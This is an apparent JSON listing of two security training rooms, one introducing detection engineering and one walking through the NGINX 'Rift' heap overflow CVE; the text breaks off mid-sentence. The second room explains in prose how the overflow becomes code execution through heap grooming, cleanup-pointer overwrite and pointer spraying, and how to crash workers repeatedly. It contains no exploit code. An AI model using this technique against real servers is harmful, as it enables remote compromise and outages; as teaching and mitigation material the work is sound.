{"status":"success","data":{"docs":[{"_id":"69d79c85859eafadaf68b99b","businessOnly":false,"code":"introtodetectioneng","collaborator":[],"contentDropPriority":0,"description":"Learn what Detection Engineering is, how it works in a SOC, and the mindset required to build effective detections.","difficulty":"easy","difficultyLevel":2,"flags":{"isAzureContent":false},"freeToUse":true,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68dac5d6d4d4f23175b3296f-1776713705869","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/68dac5d6d4d4f23175b3296f-1776713701233","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":691,"paidAccess":{"streak":{"enabled":false},"active":false},"published":"2026-05-26T15:00:48.350Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Security Analyst/ Blue Team","label":"Security Analyst/ Blue Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fcec"},{"tag":"Detection engineering","label":"Detection engineering","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fced"},{"tag":"Blue","label":"Blue","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fcee"},{"tag":"Detection Engineering","label":"Detection Engineering","weight":1,"category":"General","_id":"6a1696845ba5af21a079fcef"},{"tag":"segment 2.5","label":"segment 2.5","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fcf0"},{"tag":"segment 3","label":"segment 3","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fcf1"}],"tags":["Security Analyst/ Blue Team","Detection engineering","Blue","Detection Engineering","segment 2.5","segment 3"],"taskSearchText":" Introduction <p><strong>Note: This room is a refreshed version of <a href=\"https://tryhackme.com/room/introtodetectionengineering\" target=\"_blank\">Intro to Detection Engineering</a>. The original may be retired in the coming months, so we recommend using this new version instead. Don't forget to leave feedback to help us shape future updates</strong>.</p>\n<p>As a SOC analyst, you deal with alerts every day: triaging, investigating, escalating. But have you ever stopped to ask where those alerts actually come from? Who decides what gets detected, and what gets missed? These questions can be answered with the Detection Engineering process in security teams. Before moving on to rule creation, you will learn concepts to develop an engineering mindset and understand the Detection Engineering process. This knowledge equips you to spot gaps better and develop consistent detections.</p>\n<p><strong><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1776713673509.png\" alt=\"Meme image of a person skipping stairs with multiple relevant detection engineering concepts and going straight to SIEM query building.\" width=\"500\" height=\"500\" /></strong></p>\n<p style=\"text-align:center\"><em>You don't want to be that guy.</em></p>\n<h2>Learning Objectives</h2>\n<p>By the end of this room, you will be able to:</p>\n<ul>\n<li>Learn what Detection Engineering is and its role within a SOC.</li>\n<li>Understand the Detection Engineering Life Cycle and recognize common frameworks used to structure it.</li>\n<li>Understand the mindset a detection engineer must carry when building detections.</li>\n<li>Identify the main challenges that Detection Engineering teams face in practice.</li>\n</ul>\n<h2>Prerequisites</h2>\n<p>Before starting this room, we recommend you have previous knowledge of what a SIEM is and how SOC alerts work:</p>\n<ul>\n<li><a href=\"https://tryhackme.com/room/socl1alerttriage\" target=\"_blank\">SOC L1 Alert Triage</a></li>\n<li><a href=\"https://tryhackme.com/room/introtosiem\" target=\"_blank\">Introduction to SIEM</a></li>\n<li><a href=\"https://tryhackme.com/room/splunkexploringspl\" target=\"_blank\">Splunk: Exploring SPL</a></li>\n</ul> What is Detection Engineering? <p>Your SIEM is ingesting millions of events a day. You have 100 alerts firing every hour, and all analysts are drowning in them. Most of the alerts are noise, but somewhere in that pile, a real attacker has been sitting undetected in your network for three weeks.</p>\n<p>Sound familiar? This scenario plays out in real SOCs every day. But here's the thing: the alerts that failed were built by someone. Someone decided what to detect, how to detect it, and what to ignore.<br />That \"someone\" is a detection engineer, and their discipline is <strong>Detection Engineering</strong> (DE).</p>\n<p><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/5fc2847e1bbebc03aa89fbf2/room-content/0f5d6dc6d66a2678c4588704d5e874b5.png\" alt=\"Image showing a security engineer using a magnifying glass on a computer to represent the action of detecting activity.\" width=\"300\" /></p>\n<p>At its core, <strong>Detection Engineering is the systematic process of designing, building, testing, and maintaining the detections that power a SOC</strong>. It sits at the intersection of threat intelligence, data engineering, and security analysis, translating knowledge of attacker behavior into actionable signals.</p>\n<p>Unlike a SOC analyst, who responds reactively to what the tooling surfaces, a detection engineer works proactively, studying attacker techniques and building detections before threats materialize. As an L2, understanding this discipline means you can contribute to improving the system you work in, not just operate within it.</p>\n<h2>Where Is the Detection Engineering Team in a SOC?</h2>\n<p>There's not a singular answer. The placement of the Detection Engineering subject varies significantly across organizations. This happens for several reasons, such as the total budget a company has to invest in a dedicated team and the maturity of its SOC processes.</p>\n<p>In some cases, all the detections are handled by L2 and L3 analysts from the SOC team. The diagram below illustrates three different ways in which Detection Engineering is implemented in companies based on their resources and maturity:</p>\n<p><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1775745039413.png\" alt=\"Diagram showing the different ways a Detection Engineering team can be structured in different SOC maturities.\" width=\"842\" height=\"411\" /></p>\n<p>Regardless of the team structure, detection engineers rely on a common set of tools to do their work:</p>\n<table>\n<thead>\n<tr>\n<th>Tool</th>\n<th>Examples</th>\n<th>Purpose</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>SIEM</td>\n<td>Splunk, Microsoft Sentinel, Elastic</td>\n<td>Write and deploy detection rules against ingested log data.</td>\n</tr>\n<tr>\n<td>EDR</td>\n<td>CrowdStrike, SentinelOne, Microsoft Defender</td>\n<td>Write and deploy detection rules against host-level telemetry.</td>\n</tr>\n<tr>\n<td>Threat Intelligence Sources</td>\n<td>MISP, OpenCTI, The DFIR Report</td>\n<td>Research attacker TTPs and map them to detection opportunities.</td>\n</tr>\n<tr>\n<td>Automation</td>\n<td>Python scripts, SOAR platforms</td>\n<td>Automate detection testing, alert enrichment, and deployment pipelines.</td>\n</tr>\n<tr>\n<td>Version Control</td>\n<td>Git, GitHub</td>\n<td>Track changes to detection logic and manage review workflows.</td>\n</tr>\n<tr>\n<td>Lab / Testing Environments</td>\n<td>Atomic Red Team, custom VMs, BAS solutions</td>\n<td>Simulate attacker techniques to validate detections before deployment.</td>\n</tr>\n</tbody>\n</table>\n<p><strong>What Does a Detection Engineering Team Do?</strong></p>\n<p>The core activities of a Detection Engineering team are based around three pillars:</p>\n<table>\n<thead>\n<tr>\n<th>Pillar</th>\n<th>Description</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Detection Creation</td>\n<td>Research a threat technique, translate it into detection logic, and deploy it to the SIEM or EDR.</td>\n</tr>\n<tr>\n<td>Detection Tuning</td>\n<td>Refine detection logic to reduce false positives without creating blind spots.</td>\n</tr>\n<tr>\n<td>Detection Management</td>\n<td>Track, document, version, and deprecate detections to keep the detection library healthy over time.</td>\n</tr>\n</tbody>\n</table>\n<p>Beyond these three pillars, Detection Engineering teams often also take on automation, threat intelligence, and threat hunting. The exact scope varies widely because there is currently no industry-wide standardization of what a Detection Engineering team owns.</p>\n<h3><strong>Practice: The Detection Guy</strong></h3>\n<p>Senna is a SOC manager looking to improve his SOC detection maturity. He hired you, an experienced SOC L2 analyst, <span style=\"font-size:1.6rem\">to help him decide how to build this high-maturity team.</span></p>\n<p>By answering his questions correctly, you will receive flags that will let you complete each task in this room.<br />Use the <code>View Site</code> button below to interact with Senna. Help him!</p>\n<div id=\"task-cta-2\"></div> Detection Engineering Life Cycle <p>Let's revisit the word \"Engineering\" for a moment, because you are seeing it a lot.</p>\n<p>In software engineering, you don't just write code and ship it. You design, build, test, review, deploy, monitor, and iterate. There's a process with a structured life cycle that separates a reliable, maintainable system from a fragile one.</p>\n<p>Detection Engineering is no different. Writing a SIEM query that catches a known-bad behavior isn't engineering. Engineering is what ensures that the query is built on solid threat research, validated against real data, tested for accuracy, documented, deployed with version control, monitored for drift, and revised when attacker behavior changes. Without that structure, your mistake appetite will be high, leading to tons of poor alerts (or missing attacks), making the SOC analyst's life a nightmare. This is why the \"Engineering\" in Detection Engineering matters: it's a commitment to treating detections as products, not scripts.</p>\n<h2>The Detection Engineering Life Cycle</h2>\n<p>While there is no single universally adopted standard, most Detection Engineering teams operate around a common life cycle. The exact stages and their names vary between organizations and frameworks, but the underlying logic is consistent:</p>\n<p><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1776108667064.png\" alt=\"Diagram with all steps present in a detection engineering life cycle.\" width=\"820\" height=\"793\" /></p>\n<p>Note that there are two feedback loops in the diagram above: if a detection fails testing, it goes back to design, not to deployment, with fingers crossed. And when attacker TTPs change significantly, the life cycle restarts from threat research.</p>\n<h2>Detection Life Cycle Frameworks</h2>\n<p>Some great detection engineers developed frameworks to bring structure to Detection Engineering and help the community. You don't need to memorize them, but you should know they exist to use as a reference to enhance your own pipeline.</p>\n<ul>\n<li><strong><a class=\"external-link\" href=\"https://detect.fyi/a-research-driven-process-applied-to-threat-detection-engineering-inputs-1b7e6fe0412b\" target=\"_blank\">CREDO</a> (Creation, Review, Evaluation, Deployment, and Operations)</strong>: Breaks the detection life cycle into five explicit phases, emphasizing that detection work doesn't end at deployment. It pushes teams to treat ongoing evaluation and operations as first-class activities rather than afterthoughts.</li>\n<li><strong><a class=\"external-link\" href=\"https://blog.palantir.com/alerting-and-detection-strategy-framework-52dc33722df2\" target=\"_blank\">ADS</a> (Alerting and Detection Strategy)</strong>: Gives detection engineers a consistent template to follow every time they build a detection. It covers the detection goal, the ATT&amp;CK technique it targets, the data sources it relies on, and the expected false positives — ensuring every rule is built and documented consistently so anyone on the team can understand, reproduce, and maintain it.</li>\n</ul>\n<p>These frameworks all share a common premise: <strong>good detections are engineered, not improvised.</strong> The specific framework you use (if any) matters less than having a structured, smoother process.</p> Mentality of a Detection Engineer <p>Writing a detection is a technical task. Thinking like a detection engineer is something else entirely. The tooling and querying skills are learnable, but the mindset is what separates engineers who build high-quality detections from those who build detections that are easily bypassed. In this task, you will explore some concepts that build a strong detection engineering mentality.</p>\n<h2>The Detection Gap</h2>\n<p>There's an uncomfortable truth at the heart of detection engineering: you are always playing catch-up. Attackers move first. They research, develop, and deploy a technique, and only after it's observed in the wild does the defender community begin building detections and documenting it. By the time a detection is mature and widely deployed, a motivated attacker has often already moved on to a variation or an entirely different approach. This dynamic is visualized as the detection gap:<br /><strong><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1776713832460.png\" alt=\"Graph showing what is the detection gap between the evasion capability and the detection capabilities.\" width=\"700\" height=\"334\" /></strong></p>\n<p>The gap between the evasion capability curve and the defender's detection curve never fully closes. A Detection Engineer's job is not to eliminate that gap; it's to keep it as narrow as possible. This leads to a classic question: Since defenders are always one step behind, <strong>will attackers win every time?</strong></p>\n<h2>Detecting Everything</h2>\n<p>No, you will not detect everything, and you don't need to. If we revisit the concept of an attack chain, an attacker does not perform a single isolated technique; they execute a subset of techniques.</p>\n<p>This means an attacker will use multiple known techniques in their attack chain. That's the opportunity the detection engineer has: attackers need to succeed at <strong>every</strong> step of a kill chain, while defenders only need to catch <strong>one</strong> to start investigating and acting. So, even detecting a minority of techniques can be sufficient to disrupt an attack.</p>\n<p><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1776109504311.png\" alt=\"Diagram showing the relationship between implemented detections, triggered detections, and threat group TTPs, illustrating that full coverage is not required to disrupt an attack chain.\" width=\"885\" height=\"579\" /></p>\n<p>Note in the diagram above that even known techniques can be bypassed by an attacker (Masquerading). This may happen due to different ways of implementing a technique, or because the DE team's strategy did not prioritize that specific detection (Step 0 in the life cycle).</p>\n<p>Stealth is the attacker's primary goal, and regardless of your role in a SOC, you should know that. Every choice they make, from how they execute code to how they move laterally, is optimized to avoid generating alerts. They study the same detection logic that defenders publish. They test their tools against commercial EDRs. They know which event IDs are forwarded to SIEMs and which ones aren't. They deliberately operate in the margins of what looks normal.</p>\n<p>Durable detections are built on what an attacker must do, the actions that are so fundamental to a technique that they can't be easily avoided without abandoning the technique entirely. This is the core insight behind the <a class=\"external-link\" href=\"https://tryhackme.com/room/pyramidofpainax\" target=\"_blank\">Pyramid of Pain</a>. The higher up the pyramid you anchor your detections, from hash values and IP addresses at the base, up through tools and behaviors at the top, the more it costs the adversary to evade you. Detections built on TTPs are harder to break when an attacker rotates infrastructure or recompiles a binary. They break the attacker's operation. We will explore how to create and research durable detections in the Detection Rules Development room (coming soon).</p>\n<h2>Precision and Recall</h2>\n<p>Writing a detection that fires is easy. Writing one that fires <strong>correctly</strong>, reliably catching real threats without burying analysts in noise. When creating detections, you should always prioritize their performance, which can be challenging.</p>\n<p>To reason about that challenge, detection engineers borrow two concepts from statistics: precision and recall.</p>\n<ul>\n<li><strong>Precision</strong>: of all the alerts this detection fires, how many are actual threats? Low precision means analysts are drowning in false positives.</li>\n<li><strong>Recall</strong>: of all the real attacks that occurred, how many did this detection catch? Low recall means threats are slipping through silently with no alert.</li>\n</ul>\n<p>The missed ones, called false negatives, are the most dangerous outcome, because they produce no alert at all. No noise, no complaint, just a silent gap an attacker can walk through.</p>\n<p><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1775761396476.png\" alt=\"Diagram explaining the different scenarios that consist of both balanced and precision metric values for a detection rule.\" width=\"841\" height=\"318\" /><br />Keeping this tension consciously in mind, and measuring it over time through real SOC outcomes, not just gut feel, is what separates engineers who build detections that hold up from those who just ship queries and move on.</p>\n<p style=\"text-align:center\"><em>\"The better you research and test a detection, the better your precision and recall values.\"</em></p> Detection Engineering Challenges <p>Detection Engineering is a discipline that looks clean on a diagram and gets complicated fast in practice. Most challenges aren't about writing detection logic; they're about everything surrounding it.</p>\n<p><strong><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1776713871904.png\" alt=\"An iceberg image showing the hidden problems of detection engineering.\" width=\"500\" height=\"500\" /></strong></p>\n<h2>The Main Detection Challenges</h2>\n<table style=\"width:100%;height:727.5px\">\n<thead>\n<tr>\n<th>Challenge</th>\n<th>Description</th>\n<th>Life Cycle Related Phase</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"width:18.9372%;height:76.5px\">Missing log sources</td>\n<td style=\"width:61.7973%;height:76.5px\">The log source that a detection depends on may not be collected or forwarded to the SIEM at all, causing the rules to never fire silently.</td>\n<td style=\"width:19.2655%;height:76.5px\">Step 2: Data Review</td>\n</tr>\n<tr>\n<td style=\"width:18.9372%;height:77px\">Parsing problems</td>\n<td style=\"width:61.7973%;height:77px\">Even when data arrives, incorrect field names, malformed timestamps, or split events can silently break detection logic.</td>\n<td style=\"width:19.2655%;height:77px\">Step 3: Detection Design</td>\n</tr>\n<tr>\n<td style=\"width:18.9372%;height:95px\">Data volume decisions</td>\n<td style=\"width:61.7973%;height:95px\">Not every log should be ingested. High-volume, low-signal sources inflate costs and slow queries, forcing constant trade-offs on what to keep.</td>\n<td style=\"width:19.2655%;height:95px\">Step 2: Data Review</td>\n</tr>\n<tr>\n<td style=\"width:18.9372%;height:77px\">No testing environment</td>\n<td style=\"width:61.7973%;height:77px\">Without a realistic lab, detections reach production unvalidated, turning every deployment into a live experiment.</td>\n<td style=\"width:19.2655%;height:77px\">Step 4: Testing &amp; Validation</td>\n</tr>\n<tr>\n<td style=\"width:18.9372%;height:95px\">Detection library decay</td>\n<td style=\"width:61.7973%;height:95px\">Rules written for old environments, deprecated tools, or patched vulnerabilities keep running and generating noise that nobody investigates.</td>\n<td style=\"width:19.2655%;height:95px\">Step 6: Maintenance</td>\n</tr>\n<tr>\n<td style=\"width:18.9372%;height:77px\">Alert fatigue</td>\n<td style=\"width:61.7973%;height:77px\">Too many low-quality alerts train analysts to dismiss everything, including real threats buried in the noise.</td>\n<td style=\"width:19.2655%;height:77px\">Step 4: Testing &amp; Validation</td>\n</tr>\n<tr>\n<td style=\"width:18.9372%;height:77px\">TTP drift</td>\n<td style=\"width:61.7973%;height:77px\">Attacker techniques evolve. A detection accurate last quarter may be blind to this quarter's variant without continuous updates.</td>\n<td style=\"width:19.2655%;height:77px\">Step 1: Threat Research</td>\n</tr>\n<tr>\n<td style=\"width:18.9372%;height:76.5px\">Adjacent responsibilities</td>\n<td style=\"width:61.7973%;height:76.5px\">Documentation, metrics, and automation pull Detection Engineers away from core detection work, competing for the same limited time.</td>\n<td style=\"width:19.2655%;height:76.5px\">All steps</td>\n</tr>\n</tbody>\n</table>\n<p>These challenges are real, but they are not unique to your team; every Detection Engineering practitioner faces them. The difference lies in how much investment the team has to address them. A single analyst absorbing DE responsibilities alongside SOC work will feel all of these simultaneously. A mature team with dedicated roles, tooling, and processes will face the same challenges but with the resources to systematically tackle them one by one.</p>\n<p>Two examples of how this plays out in practice:</p>\n<ul>\n<li><strong>Tackling missing log sources</strong> starts with building a data inventory, which is a living document mapping every detection to its required log source and flagging gaps. Teams that invest in this early avoid the painful discovery of a broken detection after an incident. As the team matures, this process becomes automated: pipelines validate the availability of the log source before a detection is even deployed.</li>\n<li><strong>Managing detection library decay</strong> starts with ownership. Assigning each detection a clear owner and a review date prevents orphaned rules. Mature teams go further, tracking detection performance metrics over time and automatically flagging rules that haven't fired in months or are generating disproportionate noise, making retirement decisions data-driven rather than guesswork.</li>\n</ul>\n<p>The more the team grows and matures, the more these challenges shift from fires to managed processes.</p> Conclusion <p>Detection Engineering is the discipline that sits behind every alert your SOC depends on. Throughout this room, you explored what Detection Engineering is and where it lives in a security organization, how the detection life cycle structures the work from threat research all the way through to maintenance, the mindset required to build detections that hold up against real attackers, and the practical challenges every DE team faces regardless of size or maturity.<br />Before moving on, make sure you are comfortable with the following:</p>\n<ul>\n<li><strong>The proactive mindset</strong>: Detection Engineers work ahead of threats, not in response to them. Every detection is built on research, tested before deployment, and maintained over time, not written once and forgotten.</li>\n<li><strong>Precision and recall</strong>:<strong> </strong>A detection that fires on everything is as dangerous as one that fires on nothing. Understanding this trade-off is fundamental to building detections that add value rather than noise.</li>\n<li><strong>The life cycle never truly ends</strong>: Deployment is not the finish line. Attacker techniques evolve, environments change, and detections degrade. Maintenance is as important as creation.</li>\n</ul>\n<p>You now have the foundation. The next step is putting it into practice. Head over to the Detection Rules Development room (coming soon) to start building your first detections from scratch!</p>","timeToComplete":30,"title":"Intro to Detection Engineering","type":"walkthrough","order":1},{"_id":"6a091dedfc6b97179e91edcd","businessOnly":false,"code":"cve202642945","collaborator":[],"contentDropPriority":0,"description":"Exploit NGINX Rift, an unauthenticated heap overflow RCE in NGINX's rewrite module since 2008.","difficulty":"easy","difficultyLevel":2,"flags":{"isAzureContent":false},"freeToUse":true,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1778053654693","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1778983895413","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":878,"paidAccess":{"active":false,"streak":{"enabled":false}},"published":"2026-05-25T15:00:04.576Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Security Analyst/ Blue Team","label":"Security Analyst/ Blue Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe2d"},{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe2e"},{"tag":"Linux","label":"Linux","weight":1,"category":"Technology","_id":"6a1696845ba5af21a079fe2f"},{"tag":"Purple","label":"Purple","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fe30"},{"tag":"Privilege escalation","label":"Privilege escalation","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe31"},{"tag":" Linux Privilege Escalation","label":" Linux Privilege Escalation","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe32"},{"tag":"segment 2.5","label":"segment 2.5","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fe33"}],"tags":["Security Analyst/ Blue Team","Penetration Tester/ Red Team","Linux","Purple","Privilege escalation"," Linux Privilege Escalation","segment 2.5"],"taskSearchText":" From Heap Overflow to Code Execution <p>A heap overflow alone is not code execution. To turn the overflow into a useful primitive, an attacker has to overwrite something on the heap that the worker process will later use as a pointer, ideally as a function pointer. NGINX's own memory management offers a convenient target.</p>\n<p>NGINX allocates memory through per-request memory pools, represented by the <code>ngx_pool_t</code> structure. Each pool tracks its current allocation cursor, a chain of large allocations, and a linked list of cleanup callbacks. The cleanup list is the relevant field. Each entry is a <code>ngx_pool_cleanup_t</code> containing a function pointer (<code>handler</code>) and an argument pointer (<code>data</code>). When the pool is destroyed, NGINX walks the list and calls <code>handler(data)</code> for each entry. If an attacker controls the cleanup list, they control the function pointer and the argument, and <code>system()</code> with an attacker-supplied command string is a clean choice.</p>\n<p>The <code>cleanup</code> pointer sits at offset 64 inside <code>ngx_pool_t</code>, after several earlier fields. A contiguous heap overflow from a preceding pool will therefore corrupt all of those earlier fields on the way to the cleanup pointer. If the corrupted pool is used again for any allocation, network read, or further request processing, NGINX will dereference one of those corrupted fields and the worker will crash before reaching the cleanup phase.</p>\n<p>The exploitation primitive must therefore corrupt the cleanup pointer and then trigger the pool's destruction immediately, before any of the other corrupted fields are touched. The depthfirst writeup describes the resulting technique as a cross-request heap feng shui, where the attacker arranges the pool layout and the lifecycle ordering using a careful sequence of HTTP connections.</p>\n<p>The published sequence proceeds in four stages. An attacker first opens a connection and sends only partial HTTP headers, which causes NGINX to allocate a request pool but not to start processing the request. A second connection is opened immediately after, causing the pool allocator to place the second connection's pool directly adjacent to the first. The attacker then completes the headers of the first connection in a way that triggers the rewrite overflow, so the overflow runs out of the first pool and into the header of the second, adjacent pool. Finally, the attacker closes the second connection, which causes NGINX to call <code>ngx_destroy_pool</code> on the corrupted pool. The destroy path walks the cleanup list and never touches the other corrupted fields, so the worker calls the attacker's chosen handler with the attacker's chosen argument and does not crash before reaching it.</p>\n<p>A second restriction has to be circumvented. The bytes written by the overflow must survive URI escaping, so any value written into the cleanup pointer must consist entirely of URI-safe bytes. An attacker therefore cannot write a fully arbitrary 64-bit pointer in a single overflow. The published PoC works around this in two ways. First, the heap layout is deterministic across worker restarts because each worker inherits its parent's address space layout, so the location of any sprayed structure is predictable across attempts. Second, the attacker sprays many fake <code>ngx_pool_cleanup_t</code> structures using HTTP POST request bodies, which (unlike URIs or headers) are forwarded into NGINX worker memory as raw bytes without escaping. POST bodies can therefore contain real binary pointers, including null bytes.</p>\n<p>The spray populates the worker's heap with thousands of fake cleanup structures at predictable offsets. The attacker repeatedly retries the exploit, each time using a different low-byte overwrite to redirect the cleanup pointer until it lands on one of the sprayed fake structures. The combination of deterministic layout, a respawning worker process, and many sprayed candidates means that the brute-force search converges quickly.</p>\n<p>Two assumptions are worth highlighting. The first is that the exploit as published demonstrates RCE only when ASLR is disabled at the operating system level. With ASLR enabled, base addresses change across the master process's address space, and the sprayed pointers must be discovered before they can be used. The depthfirst writeup notes that the byte-by-byte overwrite of pointers in the cleanup list can theoretically be used to leak ASLR over many attempts, but the published proof-of-concept does not implement that step.</p>\n<p>The second is that the overflow remains a reliable denial-of-service primitive even with ASLR enabled. Any request matching the vulnerable configuration with a long enough run of escapable characters will corrupt the heap and crash a worker. A small loop of such requests will keep NGINX in a constant restart cycle and effectively take the front-door web server offline.</p>\n<p><img src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778988322281.svg\" alt=\"Four-stage timeline of the cross-request heap feng shui technique. Stage 1: open connection A and send partial headers, which causes NGINX to allocate request Pool A. Stage 2: open connection B, which causes the allocator to place Pool B adjacent to Pool A in the heap. Stage 3: complete connection A's headers, which triggers the rewrite overflow out of Pool A and into the header of Pool B, overwriting the cleanup pointer at offset 64 of Pool B without touching Pool B's earlier fields. Stage 4: close connection B, which causes NGINX to call ngx_destroy_pool, walk the cleanup list, and execute the attacker's handler with system as the function pointer and a user-supplied command as the argument. The attacker code therefore runs as the NGINX worker user. Pool B's other corrupted fields are never read, so the worker survives long enough to reach the cleanup phase.\" width=\"100%\" /></p> Introduction <p>NGINX Rift is a heap buffer overflow in the <code>ngx_http_rewrite_module</code> of NGINX that allows an unauthenticated remote attacker to crash a worker process or, under favourable memory conditions, achieve remote code execution. The bug has been present in the codebase since 2008 and was disclosed on 13 May 2026 by depthfirst, alongside three other memory corruption issues identified during the same audit.</p>\n<p>Key facts:</p>\n<ul>\n<li><strong>CVSS v4 base score:</strong> 9.2 (Critical)</li>\n<li><strong>Affected components:</strong> NGINX Open Source 0.6.27 through 1.30.0, NGINX Plus R32 through R36, and several downstream F5 products including NGINX App Protect, Gateway Fabric, and Ingress Controller</li>\n<li><strong>Fixed versions:</strong> NGINX Open Source 1.30.1 and 1.31.0, NGINX Plus R32 P6, R36 P4, and 37.0.0 (the first release on the new Long-Term Support track introduced on 13 May 2026)</li>\n<li><strong>Public PoC:</strong> Available on the <a href=\"https://github.com/DepthFirstDisclosures/Nginx-Rift\" target=\"_blank\">DepthFirstDisclosures/Nginx-Rift</a> repository</li>\n</ul>\n<p>The vulnerability is not reachable on every NGINX install. It requires a configuration that uses the <code>rewrite</code> directive with an unnamed PCRE capture (such as <code>$1</code> or <code>$2</code>), a replacement string containing a question mark, and a subsequent <code>rewrite</code>, <code>if</code>, or <code>set</code> directive in the same scope. This pattern is common in production deployments that perform legacy URL canonicalisation, API gateway routing, or path preservation across migrations, so the realistic exposure is considerably broader than the trigger condition might first suggest.</p>\n<p>Three other vulnerabilities were disclosed alongside Rift in the same audit. The full set is summarised below:</p>\n<table>\n<thead>\n<tr>\n<th>CVE</th>\n<th>Subsystem</th>\n<th>Severity</th>\n<th>Impact</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>CVE-2026-42945</code> (Rift)</td>\n<td><code>ngx_http_rewrite_module</code></td>\n<td>9.2 Critical</td>\n<td>Heap overflow, RCE</td>\n</tr>\n<tr>\n<td><code>CVE-2026-42946</code></td>\n<td><code>ngx_http_scgi_module</code>, <code>ngx_http_uwsgi_module</code></td>\n<td>8.3 High</td>\n<td>Heap overread on crafted upstream response (AitM), worker memory disclosure or DoS</td>\n</tr>\n<tr>\n<td><code>CVE-2026-40701</code></td>\n<td><code>ngx_http_ssl_module</code></td>\n<td>6.3 Medium</td>\n<td>Use-after-free on OCSP DNS path</td>\n</tr>\n<tr>\n<td><code>CVE-2026-42934</code></td>\n<td><code>ngx_http_charset_module</code></td>\n<td>6.3 Medium</td>\n<td>Out-of-bounds read on UTF-8 boundary</td>\n</tr>\n</tbody>\n</table>\n<p>Rift is the most severe of the four because it is unauthenticated, deterministic in heap layout across worker processes, and reachable on widely deployed configurations. The same multi-process architecture that makes NGINX a reliable web server (a master process and several identical workers, each with a duplicated address space) also makes the bug forgiving to exploit. A failed attempt only crashes a worker; the master immediately respawns a fresh worker with the same memory layout, so an attacker can retry until the exploit succeeds.</p>\n<h2>Learning Objectives</h2>\n<p>By the end of this room, you will be able to:</p>\n<ul>\n<li>Describe the role of the <code>rewrite</code> and <code>set</code> directives in NGINX request processing</li>\n<li>Explain the two-pass design of the NGINX script engine and how a state mismatch between passes causes the heap overflow</li>\n<li>Identify the configuration pattern that exposes a server to <code>CVE-2026-42945</code></li>\n<li>Walk through the heap feng shui technique used to convert the overflow into code execution</li>\n<li>Apply the published configuration mitigation and confirm the proof-of-concept is blocked</li>\n</ul>\n<h2>Prerequisites</h2>\n<p>This room assumes comfort with HTTP request structure, the basics of reverse proxying, and operation from a Linux command line. Familiarity with the <a href=\"https://tryhackme.com/module/web-fundamentals\" target=\"_blank\">Web Fundamentals</a> module and the <a href=\"https://tryhackme.com/module/linux-fundamentals\" target=\"_blank\">Linux Fundamentals</a> module is sufficient. Prior exposure to heap memory corruption concepts is helpful but not required; the relevant heap concepts are introduced in Task 4 as they appear.</p>\n<h2>Connecting to the Machine</h2>\n<p>Click the <strong>Start Lab Machine</strong> button at the top of this task and allow about a minute for the machine to boot. The room provides a graphical VNC session that opens in a new browser window; the desktop session is already logged in as the <code>ubuntu</code> user. The vulnerable NGINX target runs on port <code>19321</code>, so the target is reachable from the VNC desktop at <code>http://127.0.0.1:19321/</code> and from a remote attacker at <code>http://MACHINE_IP:19321/</code>, where <code>MACHINE_IP</code> is the address shown at the top of this task. The full launch state and the exploitation procedure are covered in Task 5.</p> The Two-Pass Script Engine and the State Mismatch <p>The root cause of <code>CVE-2026-42945</code> is a single internal flag that the script engine sets in one pass and reads in the other, despite the two passes running against different engine instances. The flag is <code>is_args</code>, defined on <code>struct ngx_http_script_engine_t</code>. It indicates whether the engine is currently writing into the query-string portion of a URL, and it controls whether captured values are URI-escaped before being written.</p>\n<p>When a <code>rewrite</code> replacement string contains a question mark, the compiled bytecode includes a call to 